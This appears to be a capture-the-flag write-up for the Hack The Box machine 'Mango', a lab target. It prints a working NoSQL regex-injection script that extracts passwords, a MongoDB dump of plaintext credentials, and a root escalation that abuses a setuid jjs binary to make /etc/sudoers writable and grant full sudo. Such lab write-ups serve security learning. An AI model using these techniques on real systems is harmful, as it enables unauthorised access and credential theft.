Details
This machine is Mango from Hack The Box
Recon
Start with a service discovery scan
root@kali:~# nmap -sV -p- 10.10.10.162
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-01 04:59 EDT
Nmap scan report for 10.10.10.162
Host is up (0.037s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.67 seconds
User
Started on port 80 http://10.10.10.162/
Then port 443
Weirdly I am signed in to this app, the analytics link worked
So I dug into it a bit but didn't find much, but the cert leaked a VHOST of staging-order.mango.htb
So I went to it
Lots of testing on this page led me to attempt NoSQL injection, eventually finding a way of causing a 302
So 302 indicated a positive hit, I wrote a python script to test potential characters of user passwords, and see if I can build the password backup using a regex
import requests
import string
chars = string.ascii_letters + string.digits + "!@#%()_"
USERNAMES = ["admin", "mango"]
def main():
print("[*] Possible chars {}\n\n".format(chars))
results = []
for user in USERNAMES:
password = ""
print("[*] Checking for {}".format(user))
while True:
new_char, password = find_next_char_pass(password, user)
if not new_char:
break
if len(password) > 0:
print("[!] Password found: {}\n\n".format(password))
results.append("{}:{}".format(user, password))
else:
print("[-] No password found, user likely does not exist\n\n")
for result in results:
print("[!] Creds {}".format(result))
def find_next_char_pass(current, username):
for c in chars:
attempt = current + c
payload = "^" + attempt + ".*$"
data = {"username": username, "password[$regex]": payload, "login": "login"}
r = requests.post("http://staging-order.mango.htb/index.php", allow_redirects=False, data=data)
if r.status_code == 302:
print("\t[+] Found new char {}, current payload {}".format(c, attempt))
return True,attempt
return False,current
if __name__ == "__main__":
main()
I ran my script
root@kali:~# python3 extract.py
[*] Possible chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#%()_
[*] Checking for admin
[+] Found new char t, current payload t
[+] Found new char 9, current payload t9
[+] Found new char K, current payload t9K
[+] Found new char c, current payload t9Kc
[+] Found new char S, current payload t9KcS
[+] Found new char 3, current payload t9KcS3
[!] Password found: t9KcS3
[*] Checking for mango
[+] Found new char h, current payload h
[+] Found new char 3, current payload h3
[+] Found new char m, current payload h3m
[+] Found new char X, current payload h3mX
[+] Found new char K, current payload h3mXK
[+] Found new char 8, current payload h3mXK8
[+] Found new char R, current payload h3mXK8R
[+] Found new char h, current payload h3mXK8Rh
[+] Found new char U, current payload h3mXK8RhU
[!] Password found: h3mXK8RhU
[!] Creds admin:t9KcS3
[!] Creds mango:h3mXK8RhU
I tried these against the site, but no luck, so I tried them with the regex in burp
And got redirected to http://staging-order.mango.htb/home.php
So I was probably on the right track, but hadn't pulled the full password, so I added more characters to the list of potentials
import requests
import string
chars = string.ascii_letters + string.digits + "!@#%()_~,£-=&\"\'[]{}"
USERNAMES = ["admin", "mango"]
def main():
print("[*] Possible chars {}\n\n".format(chars))
results = []
for user in USERNAMES:
password = ""
print("[*] Checking for {}".format(user))
while True:
new_char, password = find_next_char_pass(password, user)
if not new_char:
break
if len(password) > 0:
print("[!] Password found: {}\n\n".format(password))
results.append("{}:{}".format(user, password))
else:
print("[-] No password found, user likely does not exist\n\n")
for result in results:
print("[!] Creds {}".format(result))
def find_next_char_pass(current, username):
for c in chars:
attempt = current + c
payload = "^" + attempt + ".*$"
data = {"username": username, "password[$regex]": payload, "login": "login"}
r = requests.post("http://staging-order.mango.htb/index.php", allow_redirects=False, data=data)
if r.status_code == 302:
print("\t[+] Found new char {}, current payload {}".format(c, attempt))
return True,attempt
return False,current
if __name__ == "__main__":
main()
Ran this
root@kali:~# python3 extract.py
[*] Possible chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#%()_~,£-=&"'[]{}
[*] Checking for admin
[+] Found new char t, current payload t
[+] Found new char 9, current payload t9
[+] Found new char K, current payload t9K
[+] Found new char c, current payload t9Kc
[+] Found new char S, current payload t9KcS
[+] Found new char 3, current payload t9KcS3
[!] Password found: t9KcS3
[*] Checking for mango
[+] Found new char h, current payload h
[+] Found new char 3, current payload h3
[+] Found new char m, current payload h3m
[+] Found new char X, current payload h3mX
[+] Found new char K, current payload h3mXK
[+] Found new char 8, current payload h3mXK8
[+] Found new char R, current payload h3mXK8R
[+] Found new char h, current payload h3mXK8Rh
[+] Found new char U, current payload h3mXK8RhU
[+] Found new char ~, current payload h3mXK8RhU~
[+] Found new char f, current payload h3mXK8RhU~f
[+] Found new char {, current payload h3mXK8RhU~f{
[+] Found new char ], current payload h3mXK8RhU~f{]
[+] Found new char f, current payload h3mXK8RhU~f{]f
[+] Found new char 5, current payload h3mXK8RhU~f{]f5
[+] Found new char H, current payload h3mXK8RhU~f{]f5H
[!] Password found: h3mXK8RhU~f{]f5H
[!] Creds admin:t9KcS3
[!] Creds mango:h3mXK8RhU~f{]f5H
So I tried the mango creds on ssh
root@kali:~# ssh mango@10.10.10.162
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Nov 1 14:26:07 UTC 2019
System load: 0.06 Processes: 103
Usage of /: 26.0% of 19.56GB Users logged in: 0
Memory usage: 18% IP address for ens33: 10.10.10.162
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
122 packages can be updated.
18 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Nov 1 13:07:25 2019 from 10.10.14.23
mango@mango:~$
And took a look round
mango@mango:~$ ls -la
total 28
drwxr-xr-x 4 mango mango 4096 Sep 28 15:27 .
drwxr-xr-x 4 root root 4096 Sep 27 14:02 ..
lrwxrwxrwx 1 mango mango 9 Sep 27 14:31 .bash_history -> /dev/null
-rw-r--r-- 1 mango mango 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 mango mango 3771 Apr 4 2018 .bashrc
drwx------ 2 mango mango 4096 Sep 28 15:27 .cache
drwx------ 3 mango mango 4096 Sep 28 15:27 .gnupg
-rw-r--r-- 1 mango mango 807 Apr 4 2018 .profile
mango@mango:~$ cd ..
mango@mango:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Sep 27 14:02 .
drwxr-xr-x 23 root root 4096 Sep 27 13:51 ..
drwxr-xr-x 2 admin admin 4096 Nov 1 13:48 admin
drwxr-xr-x 4 mango mango 4096 Sep 28 15:27 mango
mango@mango:/home$ cd admin
mango@mango:/home/admin$ ls -la
total 28
drwxr-xr-x 2 admin admin 4096 Nov 1 13:48 .
drwxr-xr-x 4 root root 4096 Sep 27 14:02 ..
lrwxrwxrwx 1 admin admin 9 Sep 27 14:30 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr 4 2018 .bashrc
-rw-rw-r-- 1 root admin 434 Nov 1 13:48 .jjs.history
-rw-r--r-- 1 admin admin 807 Apr 4 2018 .profile
-r-------- 1 admin admin 33 Sep 27 14:29 user.txt
Admin's creds didn't work, so I was probably still missing some characters, but rather than try and work them out I'll see if I can just look in the db
mango@mango:/home/admin$ mongo
MongoDB shell version v4.0.12
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("f7ea88ab-027f-4e42-994c-628d3097f8b0") }
MongoDB server version: 4.0.12
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-user
Server has startup warnings:
2019-11-01T13:01:15.088+0000 I STORAGE [initandlisten]
2019-11-01T13:01:15.088+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2019-11-01T13:01:15.088+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem
2019-11-01T13:01:24.053+0000 I CONTROL [initandlisten]
2019-11-01T13:01:24.053+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2019-11-01T13:01:24.053+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2019-11-01T13:01:24.053+0000 I CONTROL [initandlisten]
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).
The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.
To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
>
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
mango 0.000GB
> use mango
switched to db mango
> db.users.find()
{ "_id" : ObjectId("5d8e25334f3bf1432628927b"), "username" : "admin", "password" : "t9KcS3>!0B#2" }
{ "_id" : ObjectId("5d8e25364f3bf1432628927c"), "username" : "mango", "password" : "h3mXK8RhU~f{]f5H" }
And that got me admin's full password, so I su over to that user
mango@mango:~$ su admin
Password:
$
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@mango:/home/admin$
And can get my flag
admin@mango:/home/admin$ ls -la
total 28
drwxr-xr-x 2 admin admin 4096 Nov 1 13:48 .
drwxr-xr-x 4 root root 4096 Sep 27 14:02 ..
lrwxrwxrwx 1 admin admin 9 Sep 27 14:30 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr 4 2018 .bashrc
-rw-rw-r-- 1 root admin 434 Nov 1 13:48 .jjs.history
-rw-r--r-- 1 admin admin 807 Apr 4 2018 .profile
admin@mango:/home/admin$ cat user.txt
[REDACTED]
Root
So I took a look at that .jjs.history
file
admin@mango:/home/admin$ cat .jjs.history
var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"))
br
filereader
Filereader
BufferedReader
var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); }
It is trying to read the root flag
admin@mango:/home/admin$ find / -perm -u=s 2>/dev/null
[SNIP]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
[SNIP]
So jjs is setuid, I found it on gtfobins https://gtfobins.github.io/gtfobins/jjs/ and tried an exploit
admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
#
A shell popped, but it wasn't functional, so I tried manual work with it
admin@mango:/home/admin$ jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs>
jjs> var runner = Java.type('java.lang.Runtime').getRuntime();
jjs> runner.exec('touch /tmp/test').waitFor();
0
mango@mango:/tmp$ ls -la
total 44
[SNIP]
-rw-rw-r-- 1 root admin 0 Nov 1 15:27 test
[SNIP]
So I had root code exec, but no shells would pop nicely, so I went for a different approach
jjs> runner.exec('chmod 777 /etc/sudoers').waitFor();
Making sudoers writable, then I opened it in vim and added
admin ALL=(ALL:ALL) ALL
Then set it back to 400
jjs> runner.exec('chmod 440 /etc/sudoers').waitFor();
And then I can become root
admin@mango:/tmp$ sudo su
[sudo] password for admin:
root@mango:/tmp#
And get my flag
root@mango:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@mango:/tmp# cd /root
root@mango:~# ls -la
total 40
drwx------ 6 root root 4096 Oct 10 08:32 .
drwxr-xr-x 23 root root 4096 Sep 27 13:51 ..
lrwxrwxrwx 1 root root 9 Sep 27 14:31 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Sep 30 03:16 .cache
drwx------ 3 root root 4096 Sep 30 03:16 .gnupg
drwxr-xr-x 3 root root 4096 Sep 30 03:16 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 33 Sep 27 14:32 root.txt
drwx------ 2 root root 4096 Sep 27 13:53 .ssh
-rw------- 1 root root 3895 Oct 10 08:32 .viminfo
root@mango:~# cat root.txt
[REDACTED]